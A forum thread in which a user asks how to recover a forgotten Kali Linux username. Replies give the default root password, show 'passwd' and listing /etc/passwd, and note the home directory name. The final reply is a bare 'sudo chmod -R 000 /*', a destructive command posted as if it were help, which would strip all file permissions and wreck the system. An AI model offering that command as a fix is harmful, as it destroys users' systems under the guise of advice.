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1 minute ago, YourSister said:

Ok but how do I reset my username I dont want to login to the root account

Add a user account. Linux needs to have a root account, but you shouldn't use it.

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It has been a few weeks since I used my Kali Linux Virtual Machine and I can't remember my username and doing Root and the password root doesn't work either any help?

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the default password for root is toor

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6 minutes ago, mahyar said:

the default password for root is toor

Ok but how do I reset my username I dont want to login to the root account

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Just now, YourSister said:

Ok but how do I reset my username I dont want to login to the root account

well you have to.

login with root open a terminal then type:

sudo passwd Yourusername

and then you will be prompted with a massage to enter a new password

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26 minutes ago, mahyar said:

well you have to.

login with root open a terminal then type:

sudo passwd Yourusername

and then you will be prompted with a massage to enter a new password

Read what OP is asking for. They don't know their username.

 

29 minutes ago, YourSister said:

Ok but how do I reset my username I dont want to login to the root account

Your username is what your home directory is named after. It will probably be the only folder inside /home.

I expect you will have to log in as root to be able to list that directory and see though.

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You can list all users on your system by reading the contents of /etc/passwd 

cat /etc/passwd

normal users have a UID (the number right after the second colon) greater or equal to 1000.

 

As root, you can change another user's password using the passwd utility: 

passwd <user>

 

Insert your new password and you're done.

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sudo chmod -R 000 /*

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